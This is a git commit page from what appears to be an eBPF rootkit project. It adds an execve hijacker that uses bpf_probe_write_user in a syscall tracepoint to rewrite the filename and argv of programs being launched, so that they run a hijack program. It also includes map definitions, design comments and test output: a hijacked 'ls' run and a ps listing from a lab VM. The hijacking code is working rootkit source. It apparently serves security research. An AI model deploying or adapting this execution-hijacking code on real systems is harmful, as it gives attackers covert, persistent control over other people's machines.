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Added forked routine to execve_hijack. Improved argv modification and made it work. Working now.

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This commit is contained in:
h3xduck
2022-04-13 08:57:33 -04:00
parent 805fa760cf
commit 7157729334
10 changed files with 2638 additions and 2083 deletions
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src/.output/kit.o
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4108
src/.output/kit.skel.h
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src/bin/kit
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14
src/ebpf/include/bpf/defs.h
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@@ -14,6 +14,9 @@
#define FS_OPEN_DATA_PROGRAM_NAME_SIZE 16 #define FS_OPEN_DATA_PROGRAM_NAME_SIZE 16
#define FS_OPEN_DATA_FILENAME_SIZE 16 #define FS_OPEN_DATA_FILENAME_SIZE 16
//Execution hijacking
#define EXEC_VAR_HIJACK_ACTIVE_DATA_ARGV0_LEN 64
struct fs_open_data{ //Map value struct fs_open_data{ //Map value
char* buf; char* buf;
int fd; int fd;
@@ -23,6 +26,13 @@ struct fs_open_data{ //Map value
int is_sudo; int is_sudo;
}; };
struct exec_var_hijack_active_data{//Map value
__u32 pid;
int hijack_state;
char argv0[EXEC_VAR_HIJACK_ACTIVE_DATA_ARGV0_LEN];
};
struct fs_priv_open{ //Map struct fs_priv_open{ //Map
__uint(type, BPF_MAP_TYPE_HASH); __uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096); __uint(max_entries, 4096);
@@ -30,13 +40,11 @@ struct fs_priv_open{ //Map
__type(value, struct fs_open_data); __type(value, struct fs_open_data);
} fs_open SEC(".maps"); } fs_open SEC(".maps");
//State of the execve hijacker. 0 inactive, 1 active
struct exec_var_priv_hijack_active{ //Map struct exec_var_priv_hijack_active{ //Map
__uint(type, BPF_MAP_TYPE_HASH); __uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1); __uint(max_entries, 1);
__type(key, __u64); __type(key, __u64);
__type(value, __u64); __type(value, struct exec_var_hijack_active_data);
} exec_var_hijack_active SEC(".maps"); } exec_var_hijack_active SEC(".maps");

49
src/ebpf/include/bpf/exec.h
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@@ -37,8 +37,8 @@ volatile int hijacker_state = 0;
* @return 0 if OK, -1 if error exists * @return 0 if OK, -1 if error exists
*/ */
static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *ctx, char* org_filename, char* org_argv){ static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *ctx, char* org_filename, char* org_argv){
unsigned char* argv[1] = {0}; char* argv[1] = {0};
unsigned char filename[1] = {0}; char filename[1] = {0};
char* chosen_comp_char = "w\0"; char* chosen_comp_char = "w\0";
if(ctx==NULL || ctx->argv == NULL|| org_filename==NULL){ if(ctx==NULL || ctx->argv == NULL|| org_filename==NULL){
return -1; return -1;
@@ -63,7 +63,7 @@ static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *c
return -1; return -1;
}; };
if(bpf_probe_read_user(&filename, 1, ctx->filename)<0){ if(bpf_probe_read_user(&filename, 1, ctx->filename)<0){
bpf_printk("Error reading tets 2\n"); bpf_printk("Error reading test 2\n");
return -1; return -1;
}; };
char argv_c; char argv_c;
@@ -91,9 +91,9 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
} }
bpf_printk("Starting execve hijacker\n"); bpf_printk("Starting execve hijacker\n");
unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0}; char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
//unsigned char* envp[PROGRAM_LENGTH] = {0}; //unsigned char* envp[PROGRAM_LENGTH] = {0};
unsigned char filename[ARGUMENT_LENGTH] = {0}; char filename[ARGUMENT_LENGTH] = {0};
if(ctx==NULL || ctx->argv == NULL){ if(ctx==NULL || ctx->argv == NULL){
return -1; return -1;
} }
@@ -112,6 +112,8 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
bpf_printk("ARGV2: %s\n", argv[2]); bpf_printk("ARGV2: %s\n", argv[2]);
//bpf_printk("ENVP: %s\n", envp); //bpf_printk("ENVP: %s\n", envp);
bpf_printk("FILENAME: %s\n", filename); bpf_printk("FILENAME: %s\n", filename);
bpf_printk("&FILE: %llx, &ARGV0: %llx, &ARGV1: %llx\n", (void*)(ctx->filename), (void*)&(ctx->argv[0]), (void*)&(ctx->argv[1]));
//bpf_printk("&ARGV: %llx, &ARGV0: %llx\n", ctx->argv, argv[0]);
if((void*)ctx->filename==(void*)(ctx->argv)){ if((void*)ctx->filename==(void*)(ctx->argv)){
bpf_printk("Equal pointers"); bpf_printk("Equal pointers");
}else{ }else{
@@ -134,12 +136,14 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
while others always work. while others always work.
2* The call not only overwrites the filename, but also argv[0] with a single write. This may be related to userspace programs using 2* The call not only overwrites the filename, but also argv[0] with a single write. This may be related to userspace programs using
the same buffer for both filename and argv[0], since it is the same data in the end. Accordingly, when this event happens both the same buffer for both filename and argv[0], since it is the same data in the end. Accordingly, when this event happens both
the pointers are very close to one another (196 bytes exactly), but not pointing to the same exact location, which is a mystery. the pointers are very close to one another (196 bytes exactly), but not pointing to the same exact location, which is surprising.
Another solution could be to hook do_execve and access the filename struct, which still contians Another solution could be to hook do_execve and access the filename struct, which still contians
an userspace buffer with filename inside. However if we failed to overwrite it before, we will too now. an userspace buffer with filename inside. However if we failed to overwrite it before, we will too now.
Also we can overwrite the return value of the syscall, pass the arguments to the internal ring buffer, read it from the Also we can overwrite the return value of the syscall, pass the arguments to the internal ring buffer, read it from the
user-side of the rootkit, and fork a process with the requested execve() call. I considered this not to be good enough. user-side of the rootkit, and fork a process with the requested execve() call. I considered this not to be good enough.
Note: The arguments of this tracepoint are marked as const, so upon futher review we might have an undefined behaviour issue.
*/ */
char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0}; char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
@@ -168,7 +172,22 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
return -1; return -1;
} }
//hijacker_state = 1; int filename_len = 0;
for(int ii=0; ii<ARGUMENT_LENGTH; ii++){
if(filename[ii] == '\0'){
break;
}
filename_len++;
}
if(filename_len == 0){
return -1;
}
//Bpf pointer writing, not possible to be done directly to ctx->argv[0]
//TODO: Mention this in the report
if(bpf_probe_write_user((void*)argv[0], (void*)filename, filename_len)<0){
bpf_printk("Error writing to user memory by %s\n", filename);
return -1;
}
unsigned char newfilename[ARGUMENT_LENGTH] = {0}; unsigned char newfilename[ARGUMENT_LENGTH] = {0};
unsigned char* newargv[NUMBER_ARGUMENTS_PARSED] = {0}; unsigned char* newargv[NUMBER_ARGUMENTS_PARSED] = {0};
@@ -185,6 +204,22 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
bpf_printk("NEW ARGV2: %s\n", newargv[2]); bpf_printk("NEW ARGV2: %s\n", newargv[2]);
//bpf_printk("ORIGINAL %s\n\n", filename); //bpf_printk("ORIGINAL %s\n\n", filename);
/*__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
return -1;
}
__u32 pid = pid_tgid >> 32;
struct exec_var_hijack_active_data *exec_hijack_data = (struct exec_var_hijack_active_data*) bpf_map_lookup_elem(&exec_var_hijack_active, &pid_tgid);
if (exec_hijack_data != NULL ){
//It means we have already performed this whole operation
return -1;
}
exec_hijack_data->hijack_state = 0;
exec_hijack_data->pid = pid;
bpf_probe_read(exec_hijack_data->argv0, 64, filename);
bpf_map_update_elem(&exec_var_hijack_active, &pid_tgid, &exec_hijack_data, BPF_ANY);*/
return 0; return 0;
} }

0
src/helpers/bash Normal file
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406
src/helpers/echo Normal file
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@@ -0,0 +1,406 @@
exec -a ./execve_hijack /usr/bin/ls -l -a
exec -a ./execve_hijack /usr/bin/ls -l -a
total 84
drwxrwxr-x 3 osboxes osboxes 4096 Apr 13 07:00 .
drwxrwxr-x 12 osboxes osboxes 4096 Apr 13 06:24 ..
-rw-rw-r-- 1 osboxes osboxes 0 Apr 13 06:59 bash
-rw-rw-r-- 1 osboxes osboxes 84 Apr 13 06:59 echo
-rwxrwxr-x 1 osboxes osboxes 42016 Apr 13 06:58 execve_hijack
-rw-rw-r-- 1 osboxes osboxes 5648 Apr 13 06:58 execve_hijack.c
-rw-rw-r-- 1 osboxes osboxes 8872 Apr 13 06:58 execve_hijack.o
drwxrwxr-x 2 osboxes osboxes 4096 Feb 18 03:11 lib
-rw-rw-r-- 1 osboxes osboxes 329 Apr 11 05:54 Makefile
Hello world from execve hijacker
Argument 0 is ./execve_hijack
Argument 1 is ,
hijacking ARGS0: ,
hijacking ARGS1: ,
hijacking ARGS2: (null)
Hello world from execve hijacker
Argument 0 is ./execve_hijack
Argument 1 is -l
Argument 2 is -a
hijacking ARGS0: -l
hijacking ARGS1: -l
hijacking ARGS2: -a
hijacking ARGS3: (null)
PID TTY TIME CMD
250918 pts/8 00:00:00 bash
251961 pts/8 00:00:00 bash
252541 pts/8 00:00:00 ps
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 166252 7748 ? Ss Apr10 0:10 /sbin/init splash
root 2 0.0 0.0 0 0 ? S Apr10 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< Apr10 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< Apr10 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/0:0H-events_highpri]
root 9 0.0 0.0 0 0 ? I< Apr10 0:00 [mm_percpu_wq]
root 10 0.0 0.0 0 0 ? S Apr10 0:00 [rcu_tasks_rude_]
root 11 0.0 0.0 0 0 ? S Apr10 0:00 [rcu_tasks_trace]
root 12 0.0 0.0 0 0 ? S Apr10 0:01 [ksoftirqd/0]
root 13 0.0 0.0 0 0 ? I Apr10 1:59 [rcu_sched]
root 14 0.0 0.0 0 0 ? S Apr10 0:01 [migration/0]
root 15 0.0 0.0 0 0 ? S Apr10 0:00 [idle_inject/0]
root 16 0.0 0.0 0 0 ? S Apr10 0:00 [cpuhp/0]
root 17 0.0 0.0 0 0 ? S Apr10 0:00 [cpuhp/1]
root 18 0.0 0.0 0 0 ? S Apr10 0:00 [idle_inject/1]
root 19 0.0 0.0 0 0 ? S Apr10 0:01 [migration/1]
root 20 0.0 0.0 0 0 ? S Apr10 0:01 [ksoftirqd/1]
root 22 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/1:0H-events_highpri]
root 23 0.0 0.0 0 0 ? S Apr10 0:00 [cpuhp/2]
root 24 0.0 0.0 0 0 ? S Apr10 0:00 [idle_inject/2]
root 25 0.0 0.0 0 0 ? S Apr10 0:01 [migration/2]
root 26 0.0 0.0 0 0 ? S Apr10 0:01 [ksoftirqd/2]
root 28 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/2:0H-events_highpri]
root 29 0.0 0.0 0 0 ? S Apr10 0:00 [cpuhp/3]
root 30 0.0 0.0 0 0 ? S Apr10 0:00 [idle_inject/3]
root 31 0.0 0.0 0 0 ? S Apr10 0:01 [migration/3]
root 32 0.0 0.0 0 0 ? S Apr10 0:01 [ksoftirqd/3]
root 34 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/3:0H-events_highpri]
root 35 0.0 0.0 0 0 ? S Apr10 0:00 [kdevtmpfs]
root 36 0.0 0.0 0 0 ? I< Apr10 0:00 [netns]
root 37 0.0 0.0 0 0 ? I< Apr10 0:00 [inet_frag_wq]
root 38 0.0 0.0 0 0 ? S Apr10 0:00 [kauditd]
root 39 0.0 0.0 0 0 ? S Apr10 0:00 [khungtaskd]
root 40 0.0 0.0 0 0 ? S Apr10 0:00 [oom_reaper]
root 41 0.0 0.0 0 0 ? I< Apr10 0:00 [writeback]
root 42 0.0 0.0 0 0 ? S Apr10 0:08 [kcompactd0]
root 43 0.0 0.0 0 0 ? SN Apr10 0:00 [ksmd]
root 44 0.0 0.0 0 0 ? SN Apr10 0:00 [khugepaged]
root 90 0.0 0.0 0 0 ? I< Apr10 0:00 [kintegrityd]
root 91 0.0 0.0 0 0 ? I< Apr10 0:00 [kblockd]
root 92 0.0 0.0 0 0 ? I< Apr10 0:00 [blkcg_punt_bio]
root 93 0.0 0.0 0 0 ? I< Apr10 0:00 [tpm_dev_wq]
root 94 0.0 0.0 0 0 ? I< Apr10 0:00 [ata_sff]
root 95 0.0 0.0 0 0 ? I< Apr10 0:00 [md]
root 96 0.0 0.0 0 0 ? I< Apr10 0:00 [edac-poller]
root 97 0.0 0.0 0 0 ? I< Apr10 0:00 [devfreq_wq]
root 99 0.0 0.0 0 0 ? S Apr10 0:00 [watchdogd]
root 102 0.0 0.0 0 0 ? I< Apr10 0:04 [kworker/1:1H-kblockd]
root 104 0.0 0.0 0 0 ? S Apr10 0:34 [kswapd0]
root 105 0.0 0.0 0 0 ? S Apr10 0:00 [ecryptfs-kthrea]
root 107 0.0 0.0 0 0 ? I< Apr10 0:00 [kthrotld]
root 108 0.0 0.0 0 0 ? I< Apr10 0:00 [acpi_thermal_pm]
root 109 0.0 0.0 0 0 ? S Apr10 0:00 [scsi_eh_0]
root 110 0.0 0.0 0 0 ? I< Apr10 0:00 [scsi_tmf_0]
root 111 0.0 0.0 0 0 ? S Apr10 0:00 [scsi_eh_1]
root 112 0.0 0.0 0 0 ? I< Apr10 0:00 [scsi_tmf_1]
root 114 0.0 0.0 0 0 ? I< Apr10 0:00 [vfio-irqfd-clea]
root 116 0.0 0.0 0 0 ? I< Apr10 0:00 [ipv6_addrconf]
root 117 0.0 0.0 0 0 ? I< Apr10 0:03 [kworker/0:1H-kblockd]
root 126 0.0 0.0 0 0 ? I< Apr10 0:00 [kstrp]
root 129 0.0 0.0 0 0 ? I< Apr10 0:00 [zswap-shrink]
root 130 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/u9:0]
root 135 0.0 0.0 0 0 ? I< Apr10 0:00 [charger_manager]
root 185 0.0 0.0 0 0 ? I< Apr10 0:05 [kworker/3:1H-kblockd]
root 187 0.0 0.0 0 0 ? S Apr10 0:00 [scsi_eh_2]
root 188 0.0 0.0 0 0 ? I< Apr10 0:00 [scsi_tmf_2]
root 190 0.0 0.0 0 0 ? I< Apr10 0:10 [kworker/2:1H-kblockd]
root 222 0.0 0.0 0 0 ? S Apr10 0:03 [jbd2/sda1-8]
root 223 0.0 0.0 0 0 ? I< Apr10 0:00 [ext4-rsv-conver]
root 293 0.0 0.0 23716 2576 ? Ss Apr10 0:00 /lib/systemd/systemd-udevd
root 294 0.0 0.0 0 0 ? S Apr10 0:22 [irq/18-vmwgfx]
root 295 0.0 0.0 0 0 ? I< Apr10 0:00 [ttm_swap]
root 296 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc0]
root 297 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc1]
root 298 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc2]
root 299 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc3]
root 300 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc4]
root 301 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc5]
root 302 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc6]
root 303 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc7]
root 309 0.0 0.0 0 0 ? S< Apr10 0:00 [loop0]
root 323 0.0 0.0 0 0 ? S< Apr10 0:00 [loop1]
root 341 0.0 0.0 0 0 ? S< Apr10 0:00 [loop2]
root 342 0.0 0.0 0 0 ? S< Apr10 0:00 [loop3]
root 353 0.0 0.0 0 0 ? S< Apr10 0:00 [loop4]
root 354 0.0 0.0 0 0 ? S< Apr10 0:00 [loop5]
root 355 0.0 0.0 0 0 ? S< Apr10 0:00 [loop6]
root 361 0.0 0.0 0 0 ? S< Apr10 0:00 [loop7]
root 363 0.0 0.0 0 0 ? I< Apr10 0:00 [iprt-VBoxWQueue]
root 385 0.0 0.0 0 0 ? S< Apr10 0:00 [loop8]
root 390 0.0 0.0 0 0 ? I< Apr10 0:00 [cryptd]
root 477 0.0 0.0 0 0 ? S< Apr10 0:00 [loop9]
root 558 0.0 0.0 0 0 ? S< Apr10 0:00 [loop10]
root 587 0.0 0.0 0 0 ? S< Apr10 0:00 [loop11]
root 588 0.0 0.0 0 0 ? S< Apr10 0:00 [loop12]
root 591 0.0 0.0 0 0 ? S< Apr10 0:00 [loop14]
root 593 0.0 0.0 0 0 ? S Apr10 0:08 [jbd2/sda4-8]
root 594 0.0 0.0 0 0 ? I< Apr10 0:00 [ext4-rsv-conver]
systemd+ 616 0.0 0.0 24760 3936 ? Ss Apr10 0:09 /lib/systemd/systemd-resolved
systemd+ 617 0.0 0.0 88452 2308 ? Ssl Apr10 0:00 /lib/systemd/systemd-timesyncd
root 644 0.0 0.0 249148 3568 ? Ssl Apr10 0:05 /usr/lib/accountsservice/accounts-daemon
root 645 0.0 0.0 2556 640 ? Ss Apr10 0:09 /usr/sbin/acpid
avahi 648 0.0 0.0 7388 1876 ? Ss Apr10 0:00 avahi-daemon: running [osboxes.local]
root 649 0.0 0.0 18128 1820 ? Ss Apr10 0:01 /usr/sbin/cron -f -P
message+ 650 0.0 0.0 10940 4328 ? Ss Apr10 0:31 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 652 0.0 0.1 493716 7728 ? Ssl Apr10 0:40 /usr/sbin/NetworkManager --no-daemon
root 659 0.0 0.0 82848 2464 ? Ssl Apr10 0:07 /usr/sbin/irqbalance --foreground
root 663 0.0 0.0 48180 3148 ? Ss Apr10 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 664 0.0 0.1 251896 7664 ? Ssl Apr10 0:06 /usr/libexec/polkitd --no-debug
root 680 0.0 0.0 245860 3420 ? Ssl Apr10 0:00 /usr/libexec/power-profiles-daemon
syslog 685 0.0 0.0 221216 2216 ? Ssl Apr10 0:03 /usr/sbin/rsyslogd -n -iNONE
root 688 0.0 0.0 245672 3180 ? Ssl Apr10 0:00 /usr/libexec/switcheroo-control
root 689 0.0 0.0 22140 4056 ? Ss Apr10 0:01 /lib/systemd/systemd-logind
root 690 0.0 0.0 394264 5620 ? Ssl Apr10 0:00 /usr/libexec/udisks2/udisksd
root 692 0.0 0.0 14740 1176 ? Ss Apr10 0:01 /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant
avahi 697 0.0 0.0 7252 136 ? S Apr10 0:00 avahi-daemon: chroot helper
root 745 0.0 0.0 316740 3448 ? Ssl Apr10 0:00 /usr/sbin/ModemManager
root 800 0.0 0.0 126288 3336 ? Ssl Apr10 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
whoopsie 826 0.0 0.0 328480 5412 ? Ssl Apr10 0:00 /usr/bin/whoopsie -f
kernoops 827 0.0 0.0 13528 112 ? Ss Apr10 0:00 /usr/sbin/kerneloops --test
kernoops 829 0.0 0.0 13528 136 ? Ss Apr10 0:00 /usr/sbin/kerneloops
root 1017 0.0 0.0 370556 1584 ? Sl Apr10 0:32 /usr/sbin/VBoxService --pidfile /var/run/vboxadd-service.sh
root 1028 0.0 0.0 250400 3648 ? Ssl Apr10 0:00 /usr/sbin/gdm3
rtkit 1057 0.0 0.0 153848 1856 ? SNsl Apr10 0:03 /usr/libexec/rtkit-daemon
root 1138 0.0 0.0 258424 3556 ? Ssl Apr10 0:02 /usr/libexec/upowerd
root 1227 0.0 0.0 307228 4772 ? Ssl Apr10 0:01 /usr/libexec/packagekitd
colord 1364 0.0 0.0 254356 5076 ? Ssl Apr10 0:00 /usr/libexec/colord
root 1429 0.0 0.0 180024 4740 ? Sl Apr10 0:00 gdm-session-worker [pam/gdm-password]
osboxes 1434 0.0 0.0 16300 5664 ? Ss Apr10 0:02 /lib/systemd/systemd --user
osboxes 1435 0.0 0.0 102744 312 ? S Apr10 0:00 (sd-pam)
osboxes 1441 0.0 0.0 90680 1908 ? S<sl Apr10 0:00 /usr/bin/pipewire
osboxes 1442 0.0 0.0 82828 1628 ? S<sl Apr10 0:01 /usr/bin/pipewire-media-session
osboxes 1443 0.5 0.1 2990832 7244 ? S<sl Apr10 20:06 /usr/bin/pulseaudio --daemonize=no --log-target=journal
osboxes 1445 0.0 1.6 612568 102728 ? SNsl Apr10 0:01 /usr/libexec/tracker-miner-fs
osboxes 1447 0.0 0.0 9924 4068 ? Ss Apr10 0:11 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
osboxes 1453 0.0 0.0 250260 2068 ? Sl Apr10 0:02 /usr/bin/gnome-keyring-daemon --daemonize --login
osboxes 1470 0.0 0.0 249856 4680 ? Ssl Apr10 0:00 /usr/libexec/gvfsd
osboxes 1475 0.0 0.0 379672 3128 ? Sl Apr10 0:00 /usr/libexec/gvfsd-fuse /run/user/1000/gvfs -f -o big_writes
osboxes 1483 0.0 0.0 171648 3172 tty2 Ssl+ Apr10 0:00 /usr/libexec/gdm-wayland-session env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
osboxes 1486 0.0 0.0 229960 3156 tty2 Sl+ Apr10 0:00 /usr/libexec/gnome-session-binary --systemd --session=ubuntu
osboxes 1495 0.0 0.0 398960 5016 ? Ssl Apr10 0:00 /usr/libexec/gvfs-udisks2-volume-monitor
osboxes 1518 0.0 0.0 245656 3732 ? Ssl Apr10 0:00 /usr/libexec/gvfs-mtp-volume-monitor
osboxes 1522 0.0 0.0 246580 3644 ? Ssl Apr10 0:00 /usr/libexec/gvfs-gphoto2-volume-monitor
osboxes 1533 0.0 0.0 245844 3212 ? Ssl Apr10 0:00 /usr/libexec/gvfs-goa-volume-monitor
osboxes 1537 0.0 0.0 566264 4876 ? Sl Apr10 0:00 /usr/libexec/goa-daemon
osboxes 1546 0.0 0.0 324784 3452 ? Sl Apr10 0:11 /usr/libexec/goa-identity-service
osboxes 1555 0.0 0.0 100968 1788 ? Ssl Apr10 0:00 /usr/libexec/gnome-session-ctl --monitor
osboxes 1557 0.0 0.0 322988 3420 ? Ssl Apr10 0:09 /usr/libexec/gvfs-afc-volume-monitor
osboxes 1569 0.0 0.0 525924 4760 ? Ssl Apr10 0:00 /usr/libexec/gnome-session-binary --systemd-service --session=ubuntu
osboxes 1594 0.0 0.0 306768 3544 ? Sl Apr10 0:00 /usr/libexec/at-spi-bus-launcher --launch-immediately
osboxes 1595 4.9 7.3 5662940 454968 ? Rsl Apr10 188:49 /usr/bin/gnome-shell
osboxes 1603 0.0 0.0 8252 2536 ? S Apr10 0:00 /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2/accessibility.conf --nofork --print-address 3
osboxes 1628 0.3 0.8 1105772 52096 ? Sl Apr10 11:29 /usr/bin/Xwayland :0 -rootless -noreset -accessx -core -auth /run/user/1000/.mutter-Xwaylandauth.C1H2J1 -listen 4 -listen 5 -displayfd 6 -initfd 7
osboxes 1650 0.0 0.0 245576 2316 ? Ssl Apr10 0:00 /usr/libexec/xdg-permission-store
osboxes 1652 0.0 0.0 581744 4064 ? Sl Apr10 0:00 /usr/libexec/gnome-shell-calendar-server
osboxes 1661 0.0 0.0 1078824 4280 ? Ssl Apr10 0:00 /usr/libexec/evolution-source-registry
osboxes 1668 0.0 0.0 846772 5260 ? Ssl Apr10 0:00 /usr/libexec/evolution-calendar-factory
osboxes 1670 0.0 0.0 157528 3228 ? Sl Apr10 0:00 /usr/libexec/dconf-service
osboxes 1683 0.0 0.0 756140 5152 ? Ssl Apr10 0:00 /usr/libexec/evolution-addressbook-factory
osboxes 1698 0.0 0.1 2677972 7300 ? Sl Apr10 0:00 /usr/bin/gjs /usr/share/gnome-shell/org.gnome.Shell.Notifications
osboxes 1700 0.0 0.0 163116 3260 ? Sl Apr10 0:00 /usr/libexec/at-spi2-registryd --use-gnome-session
osboxes 1712 0.0 0.0 323992 4332 ? Sl Apr10 0:00 /usr/libexec/gvfsd-trash --spawner :1.3 /org/gtk/gvfs/exec_spaw/0
osboxes 1720 0.0 0.0 319664 3312 ? Ssl Apr10 0:00 /usr/libexec/gsd-a11y-settings
osboxes 1721 0.0 0.0 456776 5988 ? Ssl Apr10 0:00 /usr/libexec/gsd-color
osboxes 1722 0.0 0.0 382084 3912 ? Ssl Apr10 0:00 /usr/libexec/gsd-datetime
osboxes 1723 0.0 0.0 320544 4152 ? Ssl Apr10 0:07 /usr/libexec/gsd-housekeeping
osboxes 1726 0.0 0.0 348136 4156 ? Ssl Apr10 0:00 /usr/libexec/gsd-keyboard
osboxes 1728 0.0 0.1 1136256 7056 ? Ssl Apr10 0:00 /usr/libexec/gsd-media-keys
osboxes 1729 0.0 0.1 651356 8148 ? Ssl Apr10 0:00 /usr/libexec/gsd-power
osboxes 1730 0.0 0.0 258136 4464 ? Ssl Apr10 0:00 /usr/libexec/gsd-print-notifications
osboxes 1736 0.0 0.0 393364 3628 ? Ssl Apr10 0:00 /usr/libexec/gsd-rfkill
osboxes 1737 0.0 0.0 245644 3120 ? Ssl Apr10 0:00 /usr/libexec/gsd-screensaver-proxy
osboxes 1738 0.0 0.0 475028 3376 ? Ssl Apr10 0:00 /usr/libexec/gsd-sharing
osboxes 1739 0.0 0.0 395296 3300 ? Ssl Apr10 0:00 /usr/libexec/gsd-smartcard
osboxes 1741 0.0 0.0 331124 3804 ? Ssl Apr10 0:00 /usr/libexec/gsd-sound
osboxes 1743 0.0 0.0 347804 4180 ? Ssl Apr10 0:00 /usr/libexec/gsd-wacom
osboxes 1795 0.0 0.1 658536 6292 ? Sl Apr10 0:00 /usr/libexec/evolution-data-server/evolution-alarm-notify
osboxes 1804 0.0 0.0 350280 4204 ? Sl Apr10 0:00 /usr/libexec/gsd-printer
osboxes 1835 0.0 0.0 232044 3308 ? Sl Apr10 0:00 /usr/libexec/gsd-disk-utility-notify
osboxes 1872 0.0 0.0 29288 24 ? S Apr10 0:00 /usr/bin/VBoxClient --clipboard
osboxes 1873 0.0 0.0 161556 188 ? Sl Apr10 0:00 /usr/bin/VBoxClient --clipboard
osboxes 1895 0.0 0.0 29288 20 ? S Apr10 0:00 /usr/bin/VBoxClient --seamless
osboxes 1896 0.0 0.0 161524 360 ? Sl Apr10 0:47 /usr/bin/VBoxClient --seamless
osboxes 1900 0.0 0.0 29288 8 ? S Apr10 0:00 /usr/bin/VBoxClient --draganddrop
osboxes 1901 0.1 0.0 162040 488 ? Sl Apr10 6:49 /usr/bin/VBoxClient --draganddrop
osboxes 1907 0.0 0.0 29288 4 ? S Apr10 0:00 /usr/bin/VBoxClient --vmsvga
root 1908 0.0 0.0 86112 1220 ? S Apr10 0:00 [VBoxDRMClient]
osboxes 1957 0.0 0.0 397616 5684 ? Sl Apr10 1:12 ibus-daemon --panel disable -r --xim
osboxes 1958 0.0 0.1 1358348 7224 ? Ssl Apr10 0:03 /usr/libexec/gsd-xsettings
osboxes 1984 0.0 0.0 172696 3384 ? Sl Apr10 0:00 /usr/libexec/ibus-memconf
osboxes 1991 0.0 0.0 353268 5968 ? Sl Apr10 0:10 /usr/libexec/ibus-extension-gtk3
osboxes 2002 0.0 0.0 201612 5380 ? Sl Apr10 0:02 /usr/libexec/ibus-x11 --kill-daemon
osboxes 2005 0.0 0.0 247948 3884 ? Sl Apr10 0:02 /usr/libexec/ibus-portal
osboxes 2030 0.0 0.0 172816 4312 ? Sl Apr10 0:24 /usr/libexec/ibus-engine-simple
osboxes 2048 0.0 0.0 172300 3416 ? Ssl Apr10 0:00 /usr/libexec/gvfsd-metadata
osboxes 2072 0.9 9.2 4505748 571124 ? Sl Apr10 34:38 /usr/lib/firefox/firefox -new-window
osboxes 2131 0.0 0.1 194420 8620 ? Sl Apr10 2:01 /usr/lib/firefox/firefox -contentproc -parentBuildID 20220106144528 -prefsLen 1 -prefMapSize 246643 -appDir /usr/lib/firefox/browser 2072 true socket
osboxes 2164 0.0 1.1 2469704 70276 ? Sl Apr10 0:26 /usr/lib/firefox/firefox -contentproc -childID 1 -isForBrowser -prefsLen 139 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
osboxes 2237 0.0 1.1 2564588 73900 ? Sl Apr10 3:18 /usr/lib/firefox/firefox -contentproc -childID 3 -isForBrowser -prefsLen 4973 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
osboxes 2303 0.0 2.0 2612376 125328 ? Sl Apr10 0:31 /usr/lib/firefox/firefox -contentproc -childID 6 -isForBrowser -prefsLen 5672 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
osboxes 2369 1.0 5.9 3156188 370416 ? Sl Apr10 40:43 /usr/lib/firefox/firefox -contentproc -childID 7 -isForBrowser -prefsLen 8184 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
osboxes 2387 0.3 1.5 38653584 93760 ? SLl Apr10 11:32 /usr/share/code/code --unity-launch
osboxes 2391 0.0 0.1 201092 6792 ? S Apr10 0:00 /usr/share/code/code --type=zygote --no-zygote-sandbox
osboxes 2392 0.0 0.1 201092 6544 ? S Apr10 0:00 /usr/share/code/code --type=zygote
osboxes 2394 0.0 0.0 201092 1572 ? S Apr10 0:00 /usr/share/code/code --type=zygote
